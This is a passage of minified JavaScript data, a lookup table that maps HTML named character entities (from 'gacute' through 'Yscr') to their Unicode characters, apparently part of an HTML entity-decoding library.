"𝒻",gacute:"ǵ",Gamma:"Γ",gamma:"γ",Gammad:"Ϝ",gammad:"ϝ",gap:"⪆",Gbreve:"Ğ",gbreve:"ğ",Gcedil:"Ģ",Gcirc:"Ĝ",gcirc:"ĝ",Gcy:"Г",gcy:"г",Gdot:"Ġ",gdot:"ġ",gE:"≧",ge:"≥",gEl:"⪌",gel:"⋛",geq:"≥",geqq:"≧",geqslant:"⩾",ges:"⩾",gescc:"⪩",gesdot:"⪀",gesdoto:"⪂",gesdotol:"⪄",gesl:"⋛︀",gesles:"⪔",Gfr:"𝔊",gfr:"𝔤",Gg:"⋙",gg:"≫",ggg:"⋙",gimel:"ℷ",GJcy:"Ѓ",gjcy:"ѓ",gl:"≷",gla:"⪥",glE:"⪒",glj:"⪤",gnap:"⪊",gnapprox:"⪊",gnE:"≩",gne:"⪈",gneq:"⪈",gneqq:"≩",gnsim:"⋧",Gopf:"𝔾",gopf:"𝕘",grave:"`",GreaterEqual:"≥",GreaterEqualLess:"⋛",GreaterFullEqual:"≧",GreaterGreater:"⪢",GreaterLess:"≷",GreaterSlantEqual:"⩾",GreaterTilde:"≳",Gscr:"𝒢",gscr:"ℊ",gsim:"≳",gsime:"⪎",gsiml:"⪐",Gt:"≫",GT:">",gt:">",gtcc:"⪧",gtcir:"⩺",gtdot:"⋗",gtlPar:"⦕",gtquest:"⩼",gtrapprox:"⪆",gtrarr:"⥸",gtrdot:"⋗",gtreqless:"⋛",gtreqqless:"⪌",gtrless:"≷",gtrsim:"≳",gvertneqq:"≩︀",gvnE:"≩︀",Hacek:"ˇ",hairsp:" ",half:"½",hamilt:"ℋ",HARDcy:"Ъ",hardcy:"ъ",hArr:"⇔",harr:"↔",harrcir:"⥈",harrw:"↭",Hat:"^",hbar:"ℏ",Hcirc:"Ĥ",hcirc:"ĥ",hearts:"♥",heartsuit:"♥",hellip:"…",hercon:"⊹",Hfr:"ℌ",hfr:"𝔥",HilbertSpace:"ℋ",hksearow:"⤥",hkswarow:"⤦",hoarr:"⇿",homtht:"∻",hookleftarrow:"↩",hookrightarrow:"↪",Hopf:"ℍ",hopf:"𝕙",horbar:"―",HorizontalLine:"─",Hscr:"ℋ",hscr:"𝒽",hslash:"ℏ",Hstrok:"Ħ",hstrok:"ħ",HumpDownHump:"≎",HumpEqual:"≏",hybull:"⁃",hyphen:"‐",Iacute:"Í",iacute:"í",ic:"⁣",Icirc:"Î",icirc:"î",Icy:"И",icy:"и",Idot:"İ",IEcy:"Е",iecy:"е",iexcl:"¡",iff:"⇔",Ifr:"ℑ",ifr:"𝔦",Igrave:"Ì",igrave:"ì",ii:"ⅈ",iiiint:"⨌",iiint:"∭",iinfin:"⧜",iiota:"℩",IJlig:"IJ",ijlig:"ij",Im:"ℑ",Imacr:"Ī",imacr:"ī",image:"ℑ",ImaginaryI:"ⅈ",imagline:"ℐ",imagpart:"ℑ",imath:"ı",imof:"⊷",imped:"Ƶ",Implies:"⇒",in:"∈",incare:"℅",infin:"∞",infintie:"⧝",inodot:"ı",Int:"∬",int:"∫",intcal:"⊺",integers:"ℤ",Integral:"∫",intercal:"⊺",Intersection:"⋂",intlarhk:"⨗",intprod:"⨼",InvisibleComma:"⁣",InvisibleTimes:"⁢",IOcy:"Ё",iocy:"ё",Iogon:"Į",iogon:"į",Iopf:"𝕀",iopf:"𝕚",Iota:"Ι",iota:"ι",iprod:"⨼",iquest:"¿",Iscr:"ℐ",iscr:"𝒾",isin:"∈",isindot:"⋵",isinE:"⋹",isins:"⋴",isinsv:"⋳",isinv:"∈",it:"⁢",Itilde:"Ĩ",itilde:"ĩ",Iukcy:"І",iukcy:"і",Iuml:"Ï",iuml:"ï",Jcirc:"Ĵ",jcirc:"ĵ",Jcy:"Й",jcy:"й",Jfr:"𝔍",jfr:"𝔧",jmath:"ȷ",Jopf:"𝕁",jopf:"𝕛",Jscr:"𝒥",jscr:"𝒿",Jsercy:"Ј",jsercy:"ј",Jukcy:"Є",jukcy:"є",Kappa:"Κ",kappa:"κ",kappav:"ϰ",Kcedil:"Ķ",kcedil:"ķ",Kcy:"К",kcy:"к",Kfr:"𝔎",kfr:"𝔨",kgreen:"ĸ",KHcy:"Х",khcy:"х",KJcy:"Ќ",kjcy:"ќ",Kopf:"𝕂",kopf:"𝕜",Kscr:"𝒦",kscr:"𝓀",lAarr:"⇚",Lacute:"Ĺ",lacute:"ĺ",laemptyv:"⦴",lagran:"ℒ",Lambda:"Λ",lambda:"λ",Lang:"⟪",lang:"⟨",langd:"⦑",langle:"⟨",lap:"⪅",Laplacetrf:"ℒ",laquo:"«",Larr:"↞",lArr:"⇐",larr:"←",larrb:"⇤",larrbfs:"⤟",larrfs:"⤝",larrhk:"↩",larrlp:"↫",larrpl:"⤹",larrsim:"⥳",larrtl:"↢",lat:"⪫",lAtail:"⤛",latail:"⤙",late:"⪭",lates:"⪭︀",lBarr:"⤎",lbarr:"⤌",lbbrk:"❲",lbrace:"{",lbrack:"[",lbrke:"⦋",lbrksld:"⦏",lbrkslu:"⦍",Lcaron:"Ľ",lcaron:"ľ",Lcedil:"Ļ",lcedil:"ļ",lceil:"⌈",lcub:"{",Lcy:"Л",lcy:"л",ldca:"⤶",ldquo:"“",ldquor:"„",ldrdhar:"⥧",ldrushar:"⥋",ldsh:"↲",lE:"≦",le:"≤",LeftAngleBracket:"⟨",LeftArrow:"←",Leftarrow:"⇐",leftarrow:"←",LeftArrowBar:"⇤",LeftArrowRightArrow:"⇆",leftarrowtail:"↢",LeftCeiling:"⌈",LeftDoubleBracket:"⟦",LeftDownTeeVector:"⥡",LeftDownVector:"⇃",LeftDownVectorBar:"⥙",LeftFloor:"⌊",leftharpoondown:"↽",leftharpoonup:"↼",leftleftarrows:"⇇",LeftRightArrow:"↔",Leftrightarrow:"⇔",leftrightarrow:"↔",leftrightarrows:"⇆",leftrightharpoons:"⇋",leftrightsquigarrow:"↭",LeftRightVector:"⥎",LeftTee:"⊣",LeftTeeArrow:"↤",LeftTeeVector:"⥚",leftthreetimes:"⋋",LeftTriangle:"⊲",LeftTriangleBar:"⧏",LeftTriangleEqual:"⊴",LeftUpDownVector:"⥑",LeftUpTeeVector:"⥠",LeftUpVector:"↿",LeftUpVectorBar:"⥘",LeftVector:"↼",LeftVectorBar:"⥒",lEg:"⪋",leg:"⋚",leq:"≤",leqq:"≦",leqslant:"⩽",les:"⩽",lescc:"⪨",lesdot:"⩿",lesdoto:"⪁",lesdotor:"⪃",lesg:"⋚︀",lesges:"⪓",lessapprox:"⪅",lessdot:"⋖",lesseqgtr:"⋚",lesseqqgtr:"⪋",LessEqualGreater:"⋚",LessFullEqual:"≦",LessGreater:"≶",lessgtr:"≶",LessLess:"⪡",lesssim:"≲",LessSlantEqual:"⩽",LessTilde:"≲",lfisht:"⥼",lfloor:"⌊",Lfr:"𝔏",lfr:"𝔩",lg:"≶",lgE:"⪑",lHar:"⥢",lhard:"↽",lharu:"↼",lharul:"⥪",lhblk:"▄",LJcy:"Љ",ljcy:"љ",Ll:"⋘",ll:"≪",llarr:"⇇",llcorner:"⌞",Lleftarrow:"⇚",llhard:"⥫",lltri:"◺",Lmidot:"Ŀ",lmidot:"ŀ",lmoust:"⎰",lmoustache:"⎰",lnap:"⪉",lnapprox:"⪉",lnE:"≨",lne:"⪇",lneq:"⪇",lneqq:"≨",lnsim:"⋦",loang:"⟬",loarr:"⇽",lobrk:"⟦",LongLeftArrow:"⟵",Longleftarrow:"⟸",longleftarrow:"⟵",LongLeftRightArrow:"⟷",Longleftrightarrow:"⟺",longleftrightarrow:"⟷",longmapsto:"⟼",LongRightArrow:"⟶",Longrightarrow:"⟹",longrightarrow:"⟶",looparrowleft:"↫",looparrowright:"↬",lopar:"⦅",Lopf:"𝕃",lopf:"𝕝",loplus:"⨭",lotimes:"⨴",lowast:"∗",lowbar:"_",LowerLeftArrow:"↙",LowerRightArrow:"↘",loz:"◊",lozenge:"◊",lozf:"⧫",lpar:"(",lparlt:"⦓",lrarr:"⇆",lrcorner:"⌟",lrhar:"⇋",lrhard:"⥭",lrm:"‎",lrtri:"⊿",lsaquo:"‹",Lscr:"ℒ",lscr:"𝓁",Lsh:"↰",lsh:"↰",lsim:"≲",lsime:"⪍",lsimg:"⪏",lsqb:"[",lsquo:"‘",lsquor:"‚",Lstrok:"Ł",lstrok:"ł",Lt:"≪",LT:"<",lt:"<",ltcc:"⪦",ltcir:"⩹",ltdot:"⋖",lthree:"⋋",ltimes:"⋉",ltlarr:"⥶",ltquest:"⩻",ltri:"◃",ltrie:"⊴",ltrif:"◂",ltrPar:"⦖",lurdshar:"⥊",luruhar:"⥦",lvertneqq:"≨︀",lvnE:"≨︀",macr:"¯",male:"♂",malt:"✠",maltese:"✠",Map:"⤅",map:"↦",mapsto:"↦",mapstodown:"↧",mapstoleft:"↤",mapstoup:"↥",marker:"▮",mcomma:"⨩",Mcy:"М",mcy:"м",mdash:"—",mDDot:"∺",measuredangle:"∡",MediumSpace:" ",Mellintrf:"ℳ",Mfr:"𝔐",mfr:"𝔪",mho:"℧",micro:"µ",mid:"∣",midast:"*",midcir:"⫰",middot:"·",minus:"−",minusb:"⊟",minusd:"∸",minusdu:"⨪",MinusPlus:"∓",mlcp:"⫛",mldr:"…",mnplus:"∓",models:"⊧",Mopf:"𝕄",mopf:"𝕞",mp:"∓",Mscr:"ℳ",mscr:"𝓂",mstpos:"∾",Mu:"Μ",mu:"μ",multimap:"⊸",mumap:"⊸",nabla:"∇",Nacute:"Ń",nacute:"ń",nang:"∠⃒",nap:"≉",napE:"⩰̸",napid:"≋̸",napos:"ʼn",napprox:"≉",natur:"♮",natural:"♮",naturals:"ℕ",nbsp:" ",nbump:"≎̸",nbumpe:"≏̸",ncap:"⩃",Ncaron:"Ň",ncaron:"ň",Ncedil:"Ņ",ncedil:"ņ",ncong:"≇",ncongdot:"⩭̸",ncup:"⩂",Ncy:"Н",ncy:"н",ndash:"–",ne:"≠",nearhk:"⤤",neArr:"⇗",nearr:"↗",nearrow:"↗",nedot:"≐̸",NegativeMediumSpace:"​",NegativeThickSpace:"​",NegativeThinSpace:"​",NegativeVeryThinSpace:"​",nequiv:"≢",nesear:"⤨",nesim:"≂̸",NestedGreaterGreater:"≫",NestedLessLess:"≪",NewLine:"\n",nexist:"∄",nexists:"∄",Nfr:"𝔑",nfr:"𝔫",ngE:"≧̸",nge:"≱",ngeq:"≱",ngeqq:"≧̸",ngeqslant:"⩾̸",nges:"⩾̸",nGg:"⋙̸",ngsim:"≵",nGt:"≫⃒",ngt:"≯",ngtr:"≯",nGtv:"≫̸",nhArr:"⇎",nharr:"↮",nhpar:"⫲",ni:"∋",nis:"⋼",nisd:"⋺",niv:"∋",NJcy:"Њ",njcy:"њ",nlArr:"⇍",nlarr:"↚",nldr:"‥",nlE:"≦̸",nle:"≰",nLeftarrow:"⇍",nleftarrow:"↚",nLeftrightarrow:"⇎",nleftrightarrow:"↮",nleq:"≰",nleqq:"≦̸",nleqslant:"⩽̸",nles:"⩽̸",nless:"≮",nLl:"⋘̸",nlsim:"≴",nLt:"≪⃒",nlt:"≮",nltri:"⋪",nltrie:"⋬",nLtv:"≪̸",nmid:"∤",NoBreak:"⁠",NonBreakingSpace:" ",Nopf:"ℕ",nopf:"𝕟",Not:"⫬",not:"¬",NotCongruent:"≢",NotCupCap:"≭",NotDoubleVerticalBar:"∦",NotElement:"∉",NotEqual:"≠",NotEqualTilde:"≂̸",NotExists:"∄",NotGreater:"≯",NotGreaterEqual:"≱",NotGreaterFullEqual:"≧̸",NotGreaterGreater:"≫̸",NotGreaterLess:"≹",NotGreaterSlantEqual:"⩾̸",NotGreaterTilde:"≵",NotHumpDownHump:"≎̸",NotHumpEqual:"≏̸",notin:"∉",notindot:"⋵̸",notinE:"⋹̸",notinva:"∉",notinvb:"⋷",notinvc:"⋶",NotLeftTriangle:"⋪",NotLeftTriangleBar:"⧏̸",NotLeftTriangleEqual:"⋬",NotLess:"≮",NotLessEqual:"≰",NotLessGreater:"≸",NotLessLess:"≪̸",NotLessSlantEqual:"⩽̸",NotLessTilde:"≴",NotNestedGreaterGreater:"⪢̸",NotNestedLessLess:"⪡̸",notni:"∌",notniva:"∌",notnivb:"⋾",notnivc:"⋽",NotPrecedes:"⊀",NotPrecedesEqual:"⪯̸",NotPrecedesSlantEqual:"⋠",NotReverseElement:"∌",NotRightTriangle:"⋫",NotRightTriangleBar:"⧐̸",NotRightTriangleEqual:"⋭",NotSquareSubset:"⊏̸",NotSquareSubsetEqual:"⋢",NotSquareSuperset:"⊐̸",NotSquareSupersetEqual:"⋣",NotSubset:"⊂⃒",NotSubsetEqual:"⊈",NotSucceeds:"⊁",NotSucceedsEqual:"⪰̸",NotSucceedsSlantEqual:"⋡",NotSucceedsTilde:"≿̸",NotSuperset:"⊃⃒",NotSupersetEqual:"⊉",NotTilde:"≁",NotTildeEqual:"≄",NotTildeFullEqual:"≇",NotTildeTilde:"≉",NotVerticalBar:"∤",npar:"∦",nparallel:"∦",nparsl:"⫽⃥",npart:"∂̸",npolint:"⨔",npr:"⊀",nprcue:"⋠",npre:"⪯̸",nprec:"⊀",npreceq:"⪯̸",nrArr:"⇏",nrarr:"↛",nrarrc:"⤳̸",nrarrw:"↝̸",nRightarrow:"⇏",nrightarrow:"↛",nrtri:"⋫",nrtrie:"⋭",nsc:"⊁",nsccue:"⋡",nsce:"⪰̸",Nscr:"𝒩",nscr:"𝓃",nshortmid:"∤",nshortparallel:"∦",nsim:"≁",nsime:"≄",nsimeq:"≄",nsmid:"∤",nspar:"∦",nsqsube:"⋢",nsqsupe:"⋣",nsub:"⊄",nsubE:"⫅̸",nsube:"⊈",nsubset:"⊂⃒",nsubseteq:"⊈",nsubseteqq:"⫅̸",nsucc:"⊁",nsucceq:"⪰̸",nsup:"⊅",nsupE:"⫆̸",nsupe:"⊉",nsupset:"⊃⃒",nsupseteq:"⊉",nsupseteqq:"⫆̸",ntgl:"≹",Ntilde:"Ñ",ntilde:"ñ",ntlg:"≸",ntriangleleft:"⋪",ntrianglelefteq:"⋬",ntriangleright:"⋫",ntrianglerighteq:"⋭",Nu:"Ν",nu:"ν",num:"#",numero:"№",numsp:" ",nvap:"≍⃒",nVDash:"⊯",nVdash:"⊮",nvDash:"⊭",nvdash:"⊬",nvge:"≥⃒",nvgt:">⃒",nvHarr:"⤄",nvinfin:"⧞",nvlArr:"⤂",nvle:"≤⃒",nvlt:"<⃒",nvltrie:"⊴⃒",nvrArr:"⤃",nvrtrie:"⊵⃒",nvsim:"∼⃒",nwarhk:"⤣",nwArr:"⇖",nwarr:"↖",nwarrow:"↖",nwnear:"⤧",Oacute:"Ó",oacute:"ó",oast:"⊛",ocir:"⊚",Ocirc:"Ô",ocirc:"ô",Ocy:"О",ocy:"о",odash:"⊝",Odblac:"Ő",odblac:"ő",odiv:"⨸",odot:"⊙",odsold:"⦼",OElig:"Œ",oelig:"œ",ofcir:"⦿",Ofr:"𝔒",ofr:"𝔬",ogon:"˛",Ograve:"Ò",ograve:"ò",ogt:"⧁",ohbar:"⦵",ohm:"Ω",oint:"∮",olarr:"↺",olcir:"⦾",olcross:"⦻",oline:"‾",olt:"⧀",Omacr:"Ō",omacr:"ō",Omega:"Ω",omega:"ω",Omicron:"Ο",omicron:"ο",omid:"⦶",ominus:"⊖",Oopf:"𝕆",oopf:"𝕠",opar:"⦷",OpenCurlyDoubleQuote:"“",OpenCurlyQuote:"‘",operp:"⦹",oplus:"⊕",Or:"⩔",or:"∨",orarr:"↻",ord:"⩝",order:"ℴ",orderof:"ℴ",ordf:"ª",ordm:"º",origof:"⊶",oror:"⩖",orslope:"⩗",orv:"⩛",oS:"Ⓢ",Oscr:"𝒪",oscr:"ℴ",Oslash:"Ø",oslash:"ø",osol:"⊘",Otilde:"Õ",otilde:"õ",Otimes:"⨷",otimes:"⊗",otimesas:"⨶",Ouml:"Ö",ouml:"ö",ovbar:"⌽",OverBar:"‾",OverBrace:"⏞",OverBracket:"⎴",OverParenthesis:"⏜",par:"∥",para:"¶",parallel:"∥",parsim:"⫳",parsl:"⫽",part:"∂",PartialD:"∂",Pcy:"П",pcy:"п",percnt:"%",period:".",permil:"‰",perp:"⊥",pertenk:"‱",Pfr:"𝔓",pfr:"𝔭",Phi:"Φ",phi:"φ",phiv:"ϕ",phmmat:"ℳ",phone:"☎",Pi:"Π",pi:"π",pitchfork:"⋔",piv:"ϖ",planck:"ℏ",planckh:"ℎ",plankv:"ℏ",plus:"+",plusacir:"⨣",plusb:"⊞",pluscir:"⨢",plusdo:"∔",plusdu:"⨥",pluse:"⩲",PlusMinus:"±",plusmn:"±",plussim:"⨦",plustwo:"⨧",pm:"±",Poincareplane:"ℌ",pointint:"⨕",Popf:"ℙ",popf:"𝕡",pound:"£",Pr:"⪻",pr:"≺",prap:"⪷",prcue:"≼",prE:"⪳",pre:"⪯",prec:"≺",precapprox:"⪷",preccurlyeq:"≼",Precedes:"≺",PrecedesEqual:"⪯",PrecedesSlantEqual:"≼",PrecedesTilde:"≾",preceq:"⪯",precnapprox:"⪹",precneqq:"⪵",precnsim:"⋨",precsim:"≾",Prime:"″",prime:"′",primes:"ℙ",prnap:"⪹",prnE:"⪵",prnsim:"⋨",prod:"∏",Product:"∏",profalar:"⌮",profline:"⌒",profsurf:"⌓",prop:"∝",Proportion:"∷",Proportional:"∝",propto:"∝",prsim:"≾",prurel:"⊰",Pscr:"𝒫",pscr:"𝓅",Psi:"Ψ",psi:"ψ",puncsp:" ",Qfr:"𝔔",qfr:"𝔮",qint:"⨌",Qopf:"ℚ",qopf:"𝕢",qprime:"⁗",Qscr:"𝒬",qscr:"𝓆",quaternions:"ℍ",quatint:"⨖",quest:"?",questeq:"≟",QUOT:'"',quot:'"',rAarr:"⇛",race:"∽̱",Racute:"Ŕ",racute:"ŕ",radic:"√",raemptyv:"⦳",Rang:"⟫",rang:"⟩",rangd:"⦒",range:"⦥",rangle:"⟩",raquo:"»",Rarr:"↠",rArr:"⇒",rarr:"→",rarrap:"⥵",rarrb:"⇥",rarrbfs:"⤠",rarrc:"⤳",rarrfs:"⤞",rarrhk:"↪",rarrlp:"↬",rarrpl:"⥅",rarrsim:"⥴",Rarrtl:"⤖",rarrtl:"↣",rarrw:"↝",rAtail:"⤜",ratail:"⤚",ratio:"∶",rationals:"ℚ",RBarr:"⤐",rBarr:"⤏",rbarr:"⤍",rbbrk:"❳",rbrace:"}",rbrack:"]",rbrke:"⦌",rbrksld:"⦎",rbrkslu:"⦐",Rcaron:"Ř",rcaron:"ř",Rcedil:"Ŗ",rcedil:"ŗ",rceil:"⌉",rcub:"}",Rcy:"Р",rcy:"р",rdca:"⤷",rdldhar:"⥩",rdquo:"”",rdquor:"”",rdsh:"↳",Re:"ℜ",real:"ℜ",realine:"ℛ",realpart:"ℜ",reals:"ℝ",rect:"▭",REG:"®",reg:"®",ReverseElement:"∋",ReverseEquilibrium:"⇋",ReverseUpEquilibrium:"⥯",rfisht:"⥽",rfloor:"⌋",Rfr:"ℜ",rfr:"𝔯",rHar:"⥤",rhard:"⇁",rharu:"⇀",rharul:"⥬",Rho:"Ρ",rho:"ρ",rhov:"ϱ",RightAngleBracket:"⟩",RightArrow:"→",Rightarrow:"⇒",rightarrow:"→",RightArrowBar:"⇥",RightArrowLeftArrow:"⇄",rightarrowtail:"↣",RightCeiling:"⌉",RightDoubleBracket:"⟧",RightDownTeeVector:"⥝",RightDownVector:"⇂",RightDownVectorBar:"⥕",RightFloor:"⌋",rightharpoondown:"⇁",rightharpoonup:"⇀",rightleftarrows:"⇄",rightleftharpoons:"⇌",rightrightarrows:"⇉",rightsquigarrow:"↝",RightTee:"⊢",RightTeeArrow:"↦",RightTeeVector:"⥛",rightthreetimes:"⋌",RightTriangle:"⊳",RightTriangleBar:"⧐",RightTriangleEqual:"⊵",RightUpDownVector:"⥏",RightUpTeeVector:"⥜",RightUpVector:"↾",RightUpVectorBar:"⥔",RightVector:"⇀",RightVectorBar:"⥓",ring:"˚",risingdotseq:"≓",rlarr:"⇄",rlhar:"⇌",rlm:"‏",rmoust:"⎱",rmoustache:"⎱",rnmid:"⫮",roang:"⟭",roarr:"⇾",robrk:"⟧",ropar:"⦆",Ropf:"ℝ",ropf:"𝕣",roplus:"⨮",rotimes:"⨵",RoundImplies:"⥰",rpar:")",rpargt:"⦔",rppolint:"⨒",rrarr:"⇉",Rrightarrow:"⇛",rsaquo:"›",Rscr:"ℛ",rscr:"𝓇",Rsh:"↱",rsh:"↱",rsqb:"]",rsquo:"’",rsquor:"’",rthree:"⋌",rtimes:"⋊",rtri:"▹",rtrie:"⊵",rtrif:"▸",rtriltri:"⧎",RuleDelayed:"⧴",ruluhar:"⥨",rx:"℞",Sacute:"Ś",sacute:"ś",sbquo:"‚",Sc:"⪼",sc:"≻",scap:"⪸",Scaron:"Š",scaron:"š",sccue:"≽",scE:"⪴",sce:"⪰",Scedil:"Ş",scedil:"ş",Scirc:"Ŝ",scirc:"ŝ",scnap:"⪺",scnE:"⪶",scnsim:"⋩",scpolint:"⨓",scsim:"≿",Scy:"С",scy:"с",sdot:"⋅",sdotb:"⊡",sdote:"⩦",searhk:"⤥",seArr:"⇘",searr:"↘",searrow:"↘",sect:"§",semi:";",seswar:"⤩",setminus:"∖",setmn:"∖",sext:"✶",Sfr:"𝔖",sfr:"𝔰",sfrown:"⌢",sharp:"♯",SHCHcy:"Щ",shchcy:"щ",SHcy:"Ш",shcy:"ш",ShortDownArrow:"↓",ShortLeftArrow:"←",shortmid:"∣",shortparallel:"∥",ShortRightArrow:"→",ShortUpArrow:"↑",shy:"­",Sigma:"Σ",sigma:"σ",sigmaf:"ς",sigmav:"ς",sim:"∼",simdot:"⩪",sime:"≃",simeq:"≃",simg:"⪞",simgE:"⪠",siml:"⪝",simlE:"⪟",simne:"≆",simplus:"⨤",simrarr:"⥲",slarr:"←",SmallCircle:"∘",smallsetminus:"∖",smashp:"⨳",smeparsl:"⧤",smid:"∣",smile:"⌣",smt:"⪪",smte:"⪬",smtes:"⪬︀",SOFTcy:"Ь",softcy:"ь",sol:"/",solb:"⧄",solbar:"⌿",Sopf:"𝕊",sopf:"𝕤",spades:"♠",spadesuit:"♠",spar:"∥",sqcap:"⊓",sqcaps:"⊓︀",sqcup:"⊔",sqcups:"⊔︀",Sqrt:"√",sqsub:"⊏",sqsube:"⊑",sqsubset:"⊏",sqsubseteq:"⊑",sqsup:"⊐",sqsupe:"⊒",sqsupset:"⊐",sqsupseteq:"⊒",squ:"□",Square:"□",square:"□",SquareIntersection:"⊓",SquareSubset:"⊏",SquareSubsetEqual:"⊑",SquareSuperset:"⊐",SquareSupersetEqual:"⊒",SquareUnion:"⊔",squarf:"▪",squf:"▪",srarr:"→",Sscr:"𝒮",sscr:"𝓈",ssetmn:"∖",ssmile:"⌣",sstarf:"⋆",Star:"⋆",star:"☆",starf:"★",straightepsilon:"ϵ",straightphi:"ϕ",strns:"¯",Sub:"⋐",sub:"⊂",subdot:"⪽",subE:"⫅",sube:"⊆",subedot:"⫃",submult:"⫁",subnE:"⫋",subne:"⊊",subplus:"⪿",subrarr:"⥹",Subset:"⋐",subset:"⊂",subseteq:"⊆",subseteqq:"⫅",SubsetEqual:"⊆",subsetneq:"⊊",subsetneqq:"⫋",subsim:"⫇",subsub:"⫕",subsup:"⫓",succ:"≻",succapprox:"⪸",succcurlyeq:"≽",Succeeds:"≻",SucceedsEqual:"⪰",SucceedsSlantEqual:"≽",SucceedsTilde:"≿",succeq:"⪰",succnapprox:"⪺",succneqq:"⪶",succnsim:"⋩",succsim:"≿",SuchThat:"∋",Sum:"∑",sum:"∑",sung:"♪",Sup:"⋑",sup:"⊃",sup1:"¹",sup2:"²",sup3:"³",supdot:"⪾",supdsub:"⫘",supE:"⫆",supe:"⊇",supedot:"⫄",Superset:"⊃",SupersetEqual:"⊇",suphsol:"⟉",suphsub:"⫗",suplarr:"⥻",supmult:"⫂",supnE:"⫌",supne:"⊋",supplus:"⫀",Supset:"⋑",supset:"⊃",supseteq:"⊇",supseteqq:"⫆",supsetneq:"⊋",supsetneqq:"⫌",supsim:"⫈",supsub:"⫔",supsup:"⫖",swarhk:"⤦",swArr:"⇙",swarr:"↙",swarrow:"↙",swnwar:"⤪",szlig:"ß",Tab:"\t",target:"⌖",Tau:"Τ",tau:"τ",tbrk:"⎴",Tcaron:"Ť",tcaron:"ť",Tcedil:"Ţ",tcedil:"ţ",Tcy:"Т",tcy:"т",tdot:"⃛",telrec:"⌕",Tfr:"𝔗",tfr:"𝔱",there4:"∴",Therefore:"∴",therefore:"∴",Theta:"Θ",theta:"θ",thetasym:"ϑ",thetav:"ϑ",thickapprox:"≈",thicksim:"∼",ThickSpace:"  ",thinsp:" ",ThinSpace:" ",thkap:"≈",thksim:"∼",THORN:"Þ",thorn:"þ",Tilde:"∼",tilde:"˜",TildeEqual:"≃",TildeFullEqual:"≅",TildeTilde:"≈",times:"×",timesb:"⊠",timesbar:"⨱",timesd:"⨰",tint:"∭",toea:"⤨",top:"⊤",topbot:"⌶",topcir:"⫱",Topf:"𝕋",topf:"𝕥",topfork:"⫚",tosa:"⤩",tprime:"‴",TRADE:"™",trade:"™",triangle:"▵",triangledown:"▿",triangleleft:"◃",trianglelefteq:"⊴",triangleq:"≜",triangleright:"▹",trianglerighteq:"⊵",tridot:"◬",trie:"≜",triminus:"⨺",TripleDot:"⃛",triplus:"⨹",trisb:"⧍",tritime:"⨻",trpezium:"⏢",Tscr:"𝒯",tscr:"𝓉",TScy:"Ц",tscy:"ц",TSHcy:"Ћ",tshcy:"ћ",Tstrok:"Ŧ",tstrok:"ŧ",twixt:"≬",twoheadleftarrow:"↞",twoheadrightarrow:"↠",Uacute:"Ú",uacute:"ú",Uarr:"↟",uArr:"⇑",uarr:"↑",Uarrocir:"⥉",Ubrcy:"Ў",ubrcy:"ў",Ubreve:"Ŭ",ubreve:"ŭ",Ucirc:"Û",ucirc:"û",Ucy:"У",ucy:"у",udarr:"⇅",Udblac:"Ű",udblac:"ű",udhar:"⥮",ufisht:"⥾",Ufr:"𝔘",ufr:"𝔲",Ugrave:"Ù",ugrave:"ù",uHar:"⥣",uharl:"↿",uharr:"↾",uhblk:"▀",ulcorn:"⌜",ulcorner:"⌜",ulcrop:"⌏",ultri:"◸",Umacr:"Ū",umacr:"ū",uml:"¨",UnderBar:"_",UnderBrace:"⏟",UnderBracket:"⎵",UnderParenthesis:"⏝",Union:"⋃",UnionPlus:"⊎",Uogon:"Ų",uogon:"ų",Uopf:"𝕌",uopf:"𝕦",UpArrow:"↑",Uparrow:"⇑",uparrow:"↑",UpArrowBar:"⤒",UpArrowDownArrow:"⇅",UpDownArrow:"↕",Updownarrow:"⇕",updownarrow:"↕",UpEquilibrium:"⥮",upharpoonleft:"↿",upharpoonright:"↾",uplus:"⊎",UpperLeftArrow:"↖",UpperRightArrow:"↗",Upsi:"ϒ",upsi:"υ",upsih:"ϒ",Upsilon:"Υ",upsilon:"υ",UpTee:"⊥",UpTeeArrow:"↥",upuparrows:"⇈",urcorn:"⌝",urcorner:"⌝",urcrop:"⌎",Uring:"Ů",uring:"ů",urtri:"◹",Uscr:"𝒰",uscr:"𝓊",utdot:"⋰",Utilde:"Ũ",utilde:"ũ",utri:"▵",utrif:"▴",uuarr:"⇈",Uuml:"Ü",uuml:"ü",uwangle:"⦧",vangrt:"⦜",varepsilon:"ϵ",varkappa:"ϰ",varnothing:"∅",varphi:"ϕ",varpi:"ϖ",varpropto:"∝",vArr:"⇕",varr:"↕",varrho:"ϱ",varsigma:"ς",varsubsetneq:"⊊︀",varsubsetneqq:"⫋︀",varsupsetneq:"⊋︀",varsupsetneqq:"⫌︀",vartheta:"ϑ",vartriangleleft:"⊲",vartriangleright:"⊳",Vbar:"⫫",vBar:"⫨",vBarv:"⫩",Vcy:"В",vcy:"в",VDash:"⊫",Vdash:"⊩",vDash:"⊨",vdash:"⊢",Vdashl:"⫦",Vee:"⋁",vee:"∨",veebar:"⊻",veeeq:"≚",vellip:"⋮",Verbar:"‖",verbar:"|",Vert:"‖",vert:"|",VerticalBar:"∣",VerticalLine:"|",VerticalSeparator:"❘",VerticalTilde:"≀",VeryThinSpace:" ",Vfr:"𝔙",vfr:"𝔳",vltri:"⊲",vnsub:"⊂⃒",vnsup:"⊃⃒",Vopf:"𝕍",vopf:"𝕧",vprop:"∝",vrtri:"⊳",Vscr:"𝒱",vscr:"𝓋",vsubnE:"⫋︀",vsubne:"⊊︀",vsupnE:"⫌︀",vsupne:"⊋︀",Vvdash:"⊪",vzigzag:"⦚",Wcirc:"Ŵ",wcirc:"ŵ",wedbar:"⩟",Wedge:"⋀",wedge:"∧",wedgeq:"≙",weierp:"℘",Wfr:"𝔚",wfr:"𝔴",Wopf:"𝕎",wopf:"𝕨",wp:"℘",wr:"≀",wreath:"≀",Wscr:"𝒲",wscr:"𝓌",xcap:"⋂",xcirc:"◯",xcup:"⋃",xdtri:"▽",Xfr:"𝔛",xfr:"𝔵",xhArr:"⟺",xharr:"⟷",Xi:"Ξ",xi:"ξ",xlArr:"⟸",xlarr:"⟵",xmap:"⟼",xnis:"⋻",xodot:"⨀",Xopf:"𝕏",xopf:"𝕩",xoplus:"⨁",xotime:"⨂",xrArr:"⟹",xrarr:"⟶",Xscr:"𝒳",xscr:"𝓍",xsqcup:"⨆",xuplus:"⨄",xutri:"△",xvee:"⋁",xwedge:"⋀",Yacute:"Ý",yacute:"ý",YAcy:"Я",yacy:"я",Ycirc:"Ŷ",ycirc:"ŷ",Ycy:"Ы",ycy:"ы",yen:"¥",Yfr:"𝔜",yfr:"𝔶",YIcy:"Ї",yicy:"ї",Yopf:"𝕐",yopf:"𝕪",Yscr: